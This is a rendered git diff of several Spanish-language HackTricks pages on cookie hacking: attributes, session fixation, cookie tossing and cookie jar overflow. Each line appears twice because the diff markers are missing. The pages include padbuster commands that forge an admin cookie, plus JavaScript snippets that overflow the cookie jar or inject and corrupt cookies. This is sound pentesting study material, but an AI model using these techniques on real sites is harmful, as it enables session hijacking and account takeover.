**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hackeo enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta exploraciones proactivas de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis hoy!**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta exploraciones proactivas de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -24,7 +24,7 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
## Atributos de las Cookies
Las cookies vienen con varios atributos que controlan su comportamiento en el navegador del usuario. Aquí tienes un resumen de estos atributos en una voz más pasiva:
Las cookies vienen con varios atributos que controlan su comportamiento en el navegador del usuario. Aquí tienes una descripción de estos atributos en una voz más pasiva:
### Caduca y Max-Age
@ -32,7 +32,7 @@ La fecha de caducidad de una cookie está determinada por el atributo `Expires`.
### Dominio
Los hosts que reciben una cookie están especificados por el atributo `Domain`. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando se establece explícitamente el atributo `Domain`, también abarca subdominios. Esto convierte la especificación del atributo `Domain` en una opción menos restrictiva, útil para escenarios donde es necesario compartir cookies entre subdominios. Por ejemplo, al establecer `Domain=mozilla.org`, las cookies son accesibles en sus subdominios como `developer.mozilla.org`.
Los hosts que reciben una cookie están especificados por el atributo `Domain`. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando se establece explícitamente el atributo `Domain`, también abarca subdominios. Esto hace que la especificación del atributo `Domain` sea una opción menos restrictiva, útil para escenarios donde es necesaria la compartición de cookies entre subdominios. Por ejemplo, al establecer `Domain=mozilla.org` se hacen accesibles las cookies en sus subdominios como `developer.mozilla.org`.
### Ruta
@ -67,13 +67,13 @@ Tabla de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie
Una cookie con el atributo _**SameSite**_ ayudará a **mitigar ataques CSRF** donde se necesita una sesión iniciada.
**\*Ten en cuenta que desde Chrome80 (feb/2019) el comportamiento predeterminado de una cookie sin un atributo samesite** **será laxo** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** en Chrome se tratarán como None durante los **primeros 2 minutos y luego como Lax para solicitudes POST entre sitios de nivel superior.**
Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** en Chrome se tratarán como **None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST entre sitios cruzados de nivel superior.**
## Banderas de las Cookies
### HttpOnly
Esto evita que el **cliente** acceda a la cookie (por ejemplo, a través de **Javascript** como: `document.cookie`)
Esto evita que el **cliente** acceda a la cookie (por ejemplo, a través de **Javascript** con `document.cookie`)
#### **Bypasses**
@ -91,14 +91,14 @@ Esto evita que el **cliente** acceda a la cookie (por ejemplo, a través de **Ja
### Secure
La solicitud solo enviará la cookie en una solicitud HTTP si la solicitud se transmite a través de un canal seguro (típicamente **HTTPS**).
La solicitud **solo** enviará la cookie en una solicitud HTTP si la solicitud se transmite a través de un canal seguro (típicamente **HTTPS**).
## Prefijos de las Cookies
Las cookies con prefijo `__Secure-` deben establecerse junto con la bandera `secure` en páginas que están aseguradas por HTTPS.
Las cookies con prefijo `__Secure-` deben ser establecidas junto con la bandera `secure` en páginas que están aseguradas por HTTPS.
Para las cookies con prefijo `__Host-`, se deben cumplir varias condiciones:
- Deben establecerse con la bandera `secure`.
- Deben ser establecidas con la bandera `secure`.
- Deben originarse desde una página asegurada por HTTPS.
- Se prohíbe especificar un dominio para estas cookies, evitando su transmisión a subdominios.
- La ruta para estas cookies debe establecerse en `/`.
@ -111,7 +111,7 @@ Si una cookie personalizada contiene datos sensibles, revísala (especialmente s
### Decodificación y Manipulación de Cookies
Los datos sensibles incrustados en las cookies siempre deben ser examinados. Las cookies codificadas en Base64 u otros formatos similares a menudo pueden descodificarse. Esta vulnerabilidad permite a los atacantes alterar el contenido de la cookie e impersonar a otros usuarios codificando sus datos modificados de nuevo en la cookie.
Los datos sensibles incrustados en las cookies siempre deben ser examinados. Las cookies codificadas en Base64 u otros formatos similares a menudo pueden ser decodificadas. Esta vulnerabilidad permite a los atacantes alterar el contenido de la cookie e impersonar a otros usuarios codificando sus datos modificados de vuelta en la cookie.
### Secuestro de Sesión
@ -129,7 +129,7 @@ Si encuentras un **XSS en un subdominio** o **controlas un subdominio**, lee:
### Donación de Sesión
Aquí, el atacante convence a la víctima de usar la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará acciones inadvertidamente en el contexto de la cuenta del atacante.
Aquí, el atacante convence a la víctima de usar la cookie de sesión del atacante. La víctima, creyendo que ha iniciado sesión en su propia cuenta, realizará inadvertidamente acciones en el contexto de la cuenta del atacante.
Si encuentras un **XSS en un subdominio** o **controlas un subdominio**, lee:
@ -143,7 +143,7 @@ Haz clic en el enlace anterior para acceder a una página que explica posibles f
Los Tokens Web JSON (JWT) utilizados en cookies también pueden presentar vulnerabilidades. Para obtener información detallada sobre posibles fallas y cómo explotarlas, se recomienda acceder al documento vinculado sobre el hackeo de JWT.
### Falsificación de Solicitudes entre Sitios (CSRF)
### Falsificación de Petición entre Sitios (CSRF)
Este ataque obliga a un usuario con sesión iniciada a ejecutar acciones no deseadas en una aplicación web en la que está autenticado actualmente. Los atacantes pueden explotar cookies que se envían automáticamente con cada solicitud al sitio vulnerable.
@ -156,7 +156,7 @@ document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
El resultado en la cabecera de la cookie enviada es `a=v1; valor de prueba; b=v2;`. Curiosamente, esto permite la manipulación de cookies si se establece una cookie con nombre vacío, potencialmente controlando otras cookies al establecer la cookie vacía en un valor específico:
El resultado en el encabezado de la cookie enviada es `a=v1; valor de prueba; b=v2;`. Curiosamente, esto permite la manipulación de cookies si se establece una cookie con nombre vacío, potencialmente controlando otras cookies al establecer la cookie vacía en un valor específico:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`;
@ -164,7 +164,7 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
```
Esto lleva al navegador a enviar una cabecera de cookie interpretada por cada servidor web como una cookie llamada `a` con un valor `b`.
Esto lleva al navegador enviando una cabecera de cookie interpretada por cada servidor web como una cookie llamada `a` con un valor `b`.
#### Bug de Chrome: Problema de Punto de Código de Sustitución Unicode
@ -172,7 +172,7 @@ En Chrome, si un punto de código de sustitución Unicode es parte de una cookie
```js
document.cookie = "\ud800=meep";
```
Esto resulta en que `document.cookie` produzca una cadena vacía, lo que indica corrupción permanente.
Esto resulta en que `document.cookie` produzca una cadena vacía, lo que indica una corrupción permanente.
#### Contrabando de Cookies Debido a Problemas de Análisis
@ -188,7 +188,7 @@ El análisis incorrecto de cookies por parte de servidores, notablemente Underto
- Undertow espera una nueva cookie inmediatamente después de un valor entre comillas sin punto y coma.
- Zope busca una coma para comenzar a analizar la siguiente cookie.
- Las clases de cookies de Python comienzan a analizar en un carácter de espacio.
- Las clases de cookies de Python comienzan el análisis en un carácter de espacio.
Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que dependen de la protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de tokens CSRF falsificados, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookies duplicados en Python, donde la última ocurrencia anula las anteriores. También plantea preocupaciones para las cookies `__Secure-` y `__Host-` en contextos inseguros y podría llevar a elusiones de autorización cuando las cookies se envían a servidores backend susceptibles a falsificaciones.
@ -211,7 +211,7 @@ Si la cookie permanece igual (o casi igual) al iniciar sesión, esto probablemen
* Intenta crear muchas **cuentas** con nombres de usuario muy **similares** e intenta **adivinar** cómo funciona el algoritmo.
* Intenta **bruteforce al nombre de usuario**. Si la cookie se guarda solo como un método de autenticación para tu nombre de usuario, entonces puedes crear una cuenta con el nombre de usuario "**Bmin**" y **bruteforce** cada **bit** de tu cookie porque una de las cookies que intentarás será la que pertenece a "**admin**".
* Intenta **Padding Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
* Prueba el **Padding Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
**Padding Oracle - Ejemplos de Padbuster**
```bash
@ -227,11 +227,11 @@ Padbuster realizará varios intentos y te preguntará cuál es la condición de
Luego comenzará a descifrar la cookie (puede tardar varios minutos).
Si el ataque se ha realizado con éxito, entonces podrías intentar cifrar una cadena de tu elección. Por ejemplo, si quisieras **cifrar** **user=administrator**.
Si el ataque se ha realizado con éxito, entonces podrías intentar cifrar una cadena de tu elección. Por ejemplo, si quisieras **cifrar** **user=administrator**
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Esta ejecución te dará la cookie correctamente encriptada y codificada con la cadena **user=administrator** dentro.
Esta ejecución te dará la cookie correctamente encriptada y codificada con la cadena **user=administrator** en su interior.
**CBC-MAC**
@ -250,11 +250,11 @@ Cuando inicias sesión, la cookie que recibes siempre debe ser la misma.
**Cómo detectar y atacar:**
Crear 2 usuarios con datos casi iguales (nombre de usuario, contraseña, correo electrónico, etc.) e intentar descubrir algún patrón dentro de la cookie proporcionada.
Crear 2 usuarios con datos casi idénticos (nombre de usuario, contraseña, correo electrónico, etc.) e intentar descubrir algún patrón dentro de la cookie proporcionada.
Crear un usuario llamado, por ejemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" y verificar si hay algún patrón en la cookie (como ECB encripta con la misma clave cada bloque, los mismos bytes encriptados podrían aparecer si el nombre de usuario está encriptado).
Debería haber un patrón (con el tamaño de un bloque utilizado). Entonces, sabiendo cómo están encriptadas un montón de "a" puedes crear un nombre de usuario: "a"\*(tamaño del bloque)+"admin". Luego, podrías eliminar el patrón encriptado de un bloque de "a" de la cookie. Y tendrás la cookie del nombre de usuario "admin".
Debería haber un patrón (con el tamaño de un bloque utilizado). Entonces, sabiendo cómo están encriptadas una serie de "a" puedes crear un nombre de usuario: "a"\*(tamaño del bloque)+"admin". Luego, podrías eliminar el patrón encriptado de un bloque de "a" de la cookie. Y tendrás la cookie del nombre de usuario "admin".
## Referencias
@ -270,14 +270,14 @@ Encuentra vulnerabilidades que importan más para que puedas solucionarlas más
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,8 +6,8 @@ Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -16,4 +16,4 @@ Otras formas de apoyar a HackTricks:
Un buen **ejemplo** se puede ver en este informe: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
Y para más información, puedes revisar esta presentación: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
Y para más información, puedes consultar esta presentación: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)

View file

@ -1,19 +1,19 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
Los navegadores tienen un **límite en el número de cookies** que pueden almacenar para una página. Entonces, si por alguna razón necesitas **hacer desaparecer una cookie**, puedes **desbordar el bote de cookies** ya que las más antiguas serán eliminadas primero:
Los navegadores tienen un **límite en la cantidad de cookies** que pueden almacenar para una página. Entonces, si por alguna razón necesitas **hacer que una cookie desaparezca**, puedes **desbordar el tarro de cookies** ya que las más antiguas se eliminarán antes:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
@ -25,25 +25,25 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
Tenga en cuenta que las cookies de terceros que apuntan a un dominio diferente no se sobrescribirán.
Ten en cuenta que las cookies de terceros que apunten a un dominio diferente no serán sobrescritas.
{% hint style="danger" %}
Este ataque también se puede utilizar para **sobrescribir cookies HttpOnly ya que puedes eliminarlas y luego restablecerlas con el valor que desees**.
Este ataque también se puede utilizar para **sobrescribir cookies HttpOnly, ya que puedes eliminarlas y luego restablecerlas con el valor que desees**.
Comprueba esto en [**este post con un laboratorio**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
Consulta esto en [**esta publicación con un laboratorio**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
{% endhint %}
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,72 +1,72 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Descripción
Si un atacante puede **controlar un subdominio o el dominio de una empresa o encuentra un XSS en un subdominio**, podrá realizar este ataque.
Si un atacante puede **controlar un subdominio o el dominio de una empresa o encuentra un XSS en un subdominio** podrá realizar este ataque.
Como se indicó en la sección de Hacking con Cookies, cuando se **establece una cookie para un dominio (especificándolo), se utilizará en el dominio y subdominios.**
Como se indicó en la sección de Hacking con Cookies, cuando una **cookie se establece en un dominio (especificándolo) se utilizará en el dominio y subdominios.**
{% hint style="danger" %}
Por lo tanto, **un atacante podrá establecer en el dominio y subdominios una cookie específica haciendo algo como** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
{% endhint %}
Esto puede ser peligroso ya que el atacante podría:
Esto puede ser peligroso ya que el atacante puede:
* **Fijar la cookie de la víctima a la cuenta del atacante** para que si el usuario no se da cuenta, **realizará las acciones en la cuenta del atacante** y el atacante podría obtener información interesante (revisar el historial de búsquedas del usuario en la plataforma, la víctima podría registrar su tarjeta de crédito en la cuenta...)
* Si la **cookie no cambia después del inicio de sesión**, el atacante podría simplemente **fijar una cookie**, esperar hasta que la víctima inicie sesión y luego **usar esa cookie para iniciar sesión como la víctima**.
* Si la **cookie está estableciendo algún valor inicial** (como en flask donde la **cookie** puede **establecer** el **token CSRF** de la sesión y este valor se mantendrá después de que la víctima inicie sesión), el **atacante podría establecer este valor conocido y luego abusar de él** (en ese escenario, el atacante podría hacer que el usuario realice una solicitud CSRF ya que conoce el token CSRF).
* **Fijar la cookie de la víctima en la cuenta del atacante** para que si el usuario no se da cuenta, **realice acciones en la cuenta del atacante** y el atacante pueda obtener información interesante (ver el historial de búsquedas del usuario en la plataforma, la víctima puede configurar su tarjeta de crédito en la cuenta...)
* Si la **cookie no cambia después del inicio de sesión**, el atacante puede simplemente **fijar una cookie**, esperar a que la víctima inicie sesión y luego **usar esa cookie para iniciar sesión como la víctima**.
* Si la **cookie establece algún valor inicial** (como en flask donde la **cookie** puede **establecer** el **token CSRF** de la sesión y este valor se mantendrá después de que la víctima inicie sesión), el **atacante puede establecer este valor conocido y luego abusar de él** (en ese escenario, el atacante puede hacer que el usuario realice una solicitud CSRF ya que conoce el token CSRF).
## Orden de las Cookies
## Orden de Cookies
Cuando un navegador recibe dos cookies con el mismo nombre **afectando parcialmente el mismo ámbito** (dominio, subdominios y ruta), el **navegador enviará ambos valores de la cookie** cuando ambos sean válidos para la solicitud.
Cuando un navegador recibe dos cookies con el mismo nombre **afectando parcialmente el mismo alcance** (dominio, subdominios y ruta), el **navegador enviará ambos valores de la cookie** cuando ambos sean válidos para la solicitud.
Dependiendo de quién tenga **la ruta más específica** o cuál sea **la más antigua**, el navegador **establecerá el valor de la cookie primero** y luego el valor de la otra como en: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Dependiendo de quién tenga **la ruta más específica** o cuál sea la **más antigua**, el navegador **establecerá primero el valor de la cookie y luego el valor de la otra** como en: `Cookie: iduser=CookieMásEspecíficaYMásAntigua; iduser=MenosEspecífica;`
La mayoría de los **sitios web solo usarán el primer valor**. Entonces, si un atacante quiere establecer una cookie, es mejor hacerlo antes de que se establezca otra o establecerla con una ruta más específica.
La mayoría de los **sitios web solo usarán el primer valor**. Entonces, si un atacante quiere establecer una cookie, es mejor establecerla antes de que se establezca otra o establecerla con una ruta más específica.
{% hint style="warning" %}
Además, la capacidad de **establecer una cookie en una ruta más específica** es muy interesante ya que podrás hacer que la **víctima trabaje con su cookie excepto en la ruta específica donde la cookie maliciosa establecida se enviará antes**.
Además, la capacidad de **establecer una cookie en una ruta más específica** es muy interesante ya que podrás hacer que la **víctima trabaje con su cookie excepto en la ruta específica donde la cookie maliciosa establecida se enviará primero**.
{% endhint %}
## Protección Bypass
## Bypass de Protección
Una posible protección contra este ataque sería que el **servidor web no acepte solicitudes con dos cookies con el mismo nombre pero con dos valores diferentes**.
Una posible protección contra este ataque sería que el **servidor web no acepte solicitudes con dos cookies con el mismo nombre pero dos valores diferentes**.
